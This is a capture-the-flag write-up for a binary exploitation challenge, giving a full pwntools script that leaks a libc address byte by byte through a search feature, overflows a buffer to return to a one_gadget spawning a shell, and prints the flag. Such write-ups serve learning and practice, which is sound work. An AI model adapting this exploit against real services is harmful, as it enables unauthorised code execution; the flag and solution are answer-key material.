Description
"The bones are scattered, your buffer slim, how can you escape the (uhhhh) vim?"
Sorry that was horrible and has nothing to do with the challenge, is this better?
"The output gone, environment changed, can you still pwn your way out of these chains?"
Attachments
https://imaginaryctf.org/f/94kBE#vuln
nc eth007.me 42111
Writeup
Leak the libc address by bruteforcing byte by byte, then ret2one_gadget. I used this one_gadget because the requirements were met, but the shell dies shortly after spawning so you have to send the "cat flag.txt" with the script.
0x104e01 posix_spawn(rdi, "/bin/sh", rdx, 0, r8, r9)
from pwn import *
import time
#context.log_level = 'debug'
context.binary = elf = ELF("./vuln_patched")
libc = ELF("./libc.so.6")
#conn = process()
#gdb.attach(conn)
conn = remote("eth007.me", 42111)
conn.sendline(b"dev" + p64(elf.got.puts)[:3])
conn.recvuntil(b"Search results:")
addr = b'\x10'
for _ in range(5):
for n in range(1,256):
if n == 10:
continue
conn.sendline(addr + bytes([n]))
conn.recvuntil(b"Search results:\n")
a = conn.recvline()
if not b"Found 0 matches" in a:
addr += bytes([n])
print(addr)
break
libc.address = u64(addr + b'\0\0') - libc.sym.puts
print(hex(libc.address))
conn.sendline(b'gon' + b'a'*85 + p64(libc.address+0x104df7)[:6])
conn.sendline(b" cat flag.txt")
conn.interactive()
Flag
ictf{defeat3d_the_b0nes_once_ag41n}